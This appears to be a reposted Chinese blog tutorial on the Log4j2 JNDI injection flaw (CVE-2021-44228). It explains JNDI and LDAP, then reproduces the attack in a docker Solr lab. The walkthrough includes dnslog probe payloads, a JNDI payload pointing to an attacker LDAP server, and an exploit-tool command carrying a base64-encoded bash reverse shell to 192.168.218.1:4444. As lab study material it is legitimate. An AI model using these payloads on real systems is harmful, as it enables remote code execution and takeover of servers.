什么是JNDI?
JDNI(Java Naming and Directory Interface)是Java命名和目錄接口,它提供了統(tǒng)一的訪問命名和目錄服務(wù)的API。
JDNI主要通過JNDI SPI(Service Provider Interface)規(guī)范來實(shí)現(xiàn),該規(guī)范定義了對(duì)JNDI提供者應(yīng)實(shí)現(xiàn)的接口。在JNDI體系中,JNDI提供者是指實(shí)際提供命名和目錄服務(wù)的軟件組件。JNDI SPI規(guī)范包含了多個(gè)接口,其中最為重要的是Context接口。
Context接口是一個(gè)通用的上下文接口,它定義了在某個(gè)環(huán)境中執(zhí)行命名和目錄操作的方法。在JNDI中,上下文環(huán)境通常是由JNDI提供者所定義的,它可以是本地的、遠(yuǎn)程的、文件系統(tǒng)的、LDAP的等等。
通過使用JDNI,Java應(yīng)用程序可以訪問各種不同類型的命名和目錄服務(wù),如文件系統(tǒng)、LDAP、DNS等。這樣,Java應(yīng)用程序能夠輕松地與各種不同類型的資源進(jìn)行交互,而無需關(guān)心底層的細(xì)節(jié)實(shí)現(xiàn)。
JNDI目前所支持的技術(shù)包括?
JNDI(Java Naming and Directory Interface)是一個(gè)通用的命名和目錄服務(wù)接口,可以與多種技術(shù)進(jìn)行集成。以下是一些目前JNDI所支持的技術(shù):
-
文件系統(tǒng):JNDI可以與文件系統(tǒng)集成,允許通過文件路徑來訪問和管理命名和目錄信息。
-
LDAP(輕量級(jí)目錄訪問協(xié)議):JNDI提供了對(duì)LDAP服務(wù)器的支持,可用于訪問和管理LDAP目錄,如Active Directory等。
-
DNS(域名系統(tǒng)):JNDI可以與DNS集成,使Java應(yīng)用程序能夠通過域名訪問和管理命名和目錄信息。
-
RMI(遠(yuǎn)程方法調(diào)用):JNDI可以與RMI集成,允許使用RMI注冊(cè)表來查找和訪問遠(yuǎn)程對(duì)象。
-
CORBA(公共對(duì)象請(qǐng)求代理體系結(jié)構(gòu)):JNDI提供了與CORBA命名服務(wù)的集成,以便訪問和管理CORBA對(duì)象。
-
EJB(企業(yè)JavaBean):JNDI可以與EJB容器集成,用于查找和獲取遠(yuǎn)程EJB對(duì)象的引用。
-
JMS(Java消息服務(wù)):JNDI可以與JMS集成,允許查找和訪問JMS連接工廠、隊(duì)列和主題等消息相關(guān)的資源。
需要注意的是,JNDI可以通過自定義擴(kuò)展來支持其他類型的命名和目錄服務(wù),只要相應(yīng)的JNDI提供者實(shí)現(xiàn)了所需的SPI接口。因此,JNDI的支持范圍可以通過自定義擴(kuò)展進(jìn)行擴(kuò)展和定制。
簡(jiǎn)單來說:通過JNDI提供了"通過名稱找到對(duì)應(yīng)的對(duì)象"的規(guī)范定義
參考文章【精選】Log4j2注入漏洞(CVE-2021-44228)萬字深度剖析(一)—開篇與基礎(chǔ)知識(shí)_ove-2021-44228_程序員Daddy的博客-CSDN博客文章瀏覽閱讀6.9k次,點(diǎn)贊3次,收藏23次。本文將和大家一起對(duì)Log4j2的漏洞進(jìn)行全面深入的剖析。我們將從如下幾個(gè)方面進(jìn)行講解。1、Log4j2漏洞的基本原理 2、Log4j2漏洞在Java高低版本中的不同攻擊原理 3、Log4j2漏洞在Java高低版本中的攻擊步驟 4、Log4j2漏洞在2.15.0-RC1中被繞過的原因 5、Log4j2最終修復(fù)方案(2.15.0)的原理_ove-2021-44228https://blog.csdn.net/hilaryfrank/article/details/121920264
LDAN原理
目錄服務(wù)是一個(gè)特殊的數(shù)據(jù)庫(kù),用來保存描述性的、基于屬性的詳細(xì)信息,支持過濾功能。
LDAP(Light Directory Access Portocol),它是基于X.500標(biāo)準(zhǔn)的輕量級(jí)目錄訪問協(xié)議。
目錄是一個(gè)為查詢、瀏覽和搜索而優(yōu)化的數(shù)據(jù)庫(kù),它成樹狀結(jié)構(gòu)組織數(shù)據(jù),類似文件目錄一樣。目錄數(shù)據(jù)庫(kù)和關(guān)系數(shù)據(jù)庫(kù)不同,它有優(yōu)異的讀性能,但寫性能差,并且沒有事務(wù)處理、回滾等復(fù)雜功能,不適于存儲(chǔ)修改頻繁的數(shù)據(jù)。所以目錄天生是用來查詢的,就好象它的名字一樣。
LDAP目錄服務(wù)是由目錄數(shù)據(jù)庫(kù)和一套訪問協(xié)議組成的系統(tǒng)
Log4j2漏洞介紹
Log4j2默認(rèn)支持解析ldap/rmi協(xié)議(只要打印的日志中包括ldap/rmi協(xié)議即可),并會(huì)通過名稱從ldap服務(wù)端獲取對(duì)應(yīng)的Class文件,使用ClassLoader在本地加載Ldap服務(wù)端返回的Class類。這就為攻擊者提供了攻擊途徑,攻擊者可以在界面?zhèn)魅胍粋€(gè)包含惡意內(nèi)容(會(huì)提供一個(gè)惡意的Class文件)的ldap協(xié)議內(nèi)容(如:惡意內(nèi)容${jndi:ldap://localhost:9999/Test}惡意內(nèi)容),該內(nèi)容傳遞到后端被log4j2打印出來,就會(huì)觸發(fā)惡意的Class的加載執(zhí)行(可執(zhí)行任意后臺(tái)指令),從而達(dá)到攻擊的目的。
javaCopy Codeimport org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
?
public class Log4jExample {
? ?// 獲取Logger對(duì)象,參數(shù)為當(dāng)前類名
? ?private static final Logger logger = LogManager.getLogger(Log4jExample.class);
?
? ?public static void main(String[] args) {
? ? ? ?// 示例日志輸出
? ? ? ?logger.trace("Trace 級(jí)別日志");
? ? ? ?logger.debug("Debug 級(jí)別日志");
? ? ? ?logger.info("Info 級(jí)別日志");
? ? ? ?logger.warn("Warn 級(jí)別日志");
? ? ? ?logger.error("Error 級(jí)別日志");
? ? ? ?logger.fatal("Fatal 級(jí)別日志");
? }
}
${}這是一個(gè)表達(dá)式,我們可以利用表達(dá)是輸出用戶信息,當(dāng)前時(shí)間等。
重要的是運(yùn)用表達(dá)式我們就可以使用jndi協(xié)議了,例如${jndi:ldap://localhost:9999/Test} ,利用jndi請(qǐng)求地址為//localhost:9999的ldap服務(wù),查找內(nèi)容Test。
你怎么說//localhost:9999是一個(gè)ladp的服務(wù)呢!也許人家就是一個(gè)普通的地址呢!沒錯(cuò)這里客戶端也沒法判定,也是在請(qǐng)求完之后判定的,這里輸入dns的地址會(huì)解析嗎?會(huì),可以利用這個(gè)特點(diǎn)打下dnslog請(qǐng)求,初步確定漏洞。 ?
關(guān)于漏洞理解
(筆者之見)
JNDI是一個(gè)集大成者(多種技術(shù)進(jìn)行集成體),
其中LDAP為目錄服務(wù),利用萬物皆對(duì)象的觀點(diǎn),這里萬物皆目錄,或許是你的數(shù)據(jù)庫(kù),一個(gè)java對(duì)象,接口,或windows的c盤,注冊(cè)表這些在ldap中都可能只是一個(gè)普通的目錄。作為用戶我們只需輸入對(duì)應(yīng)的目錄名LDAP服務(wù)端便可返回響應(yīng)結(jié)果。
假設(shè)我們用ldap服務(wù)查找某個(gè)對(duì)象。服務(wù)端返回什么?應(yīng)該返回該對(duì)象對(duì)應(yīng)的類吧!—— 這里就牽扯到了java對(duì)象的傳輸,對(duì)象的傳輸是java中非常會(huì)引發(fā)漏洞的地方、真實(shí)情況是服務(wù)端會(huì)返回類或類的地址,這時(shí)客服端怎么處理?加載類?目的是得到對(duì)象,所以本地類加載,通過反射,構(gòu)造器的方法得到響應(yīng)對(duì)象?
攻擊原理圖
整個(gè)攻擊原理和流程如下圖所示
注意looup這個(gè)方法,這個(gè)是請(qǐng)求ldap服務(wù)的入口。
請(qǐng)求ldap的參數(shù)可控意味著請(qǐng)求的ldap的服務(wù)器也可控,作為攻擊者我們可以偽造一個(gè)ldap服務(wù)器。
這時(shí)是不是返回的內(nèi)容也可控了,如果返回正常的字符串,log4j是不是就正常打印處理了。但如果我們返回的是一個(gè)惡意類的地址,作為發(fā)起請(qǐng)求的客戶端收到這個(gè)地址會(huì)如何處理呢?也許就是觸發(fā)了這個(gè)機(jī)制(開發(fā)人員沒有想過這樣的惡意類加載),客戶端得到類的地址試圖得到這個(gè)類(下載到本地)進(jìn)行對(duì)象化。這樣就必然會(huì)執(zhí)行攻擊者在類中提前設(shè)置的惡意代碼。
Codebase就是存儲(chǔ)代碼或者編譯文件的服務(wù)。其可以根據(jù)名稱返回對(duì)應(yīng)的代碼或者編譯文件,如果根據(jù)類名,提供類對(duì)應(yīng)的Class文件。這里是請(qǐng)求下載了惡意的.class文件
具體的源碼流程分析,還是推薦看以下大佬的萬字文章,真的很詳細(xì)
【精選】Log4j2注入漏洞(CVE-2021-44228)萬字深度剖析(二)—漏洞原理_log4j2漏洞-CSDN博客
?Log4j2漏洞復(fù)現(xiàn)
啟用docker靶場(chǎng)環(huán)境
?訪問web頁(yè)面
漏洞地址:/solr/admin/cores?action=
payload準(zhǔn)備
${jndi:ldap://id4cba.dnslog.cn}
?
查看dnslog平臺(tái)是否正確解析
payload準(zhǔn)備中間在插入表達(dá)式
${jndi:ldap://${sys:java.version}.id4cba.dnslog.cn}
獲取反彈shell
漏洞利用需要用到ldap服務(wù)器,這里我們還是用工具一把梭哈。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxOC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.218.1"
準(zhǔn)備的執(zhí)行命令是bash -i >& /dev/tcp/192.168.218.1/4444 0>&1,仍然用base編碼的方式執(zhí)行
ok將ldap輸入過去,同時(shí)nc監(jiān)聽本地端口4444
${jndi:ldap://192.168.218.1:1389/jq0hse}
查看反彈shell信息
正確返回了shell
總結(jié)
大佬畫的原理圖很經(jīng)典,建立多看看。也建議用maven建立工程,多調(diào)試調(diào)試驗(yàn)證驗(yàn)證自己的猜想。文章來源:http://www.zghlxwxcb.cn/news/detail-805843.html
?文章來源地址http://www.zghlxwxcb.cn/news/detail-805843.html
到了這里,關(guān)于JAVA安全之Log4j-Jndi注入原理以及利用方式的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!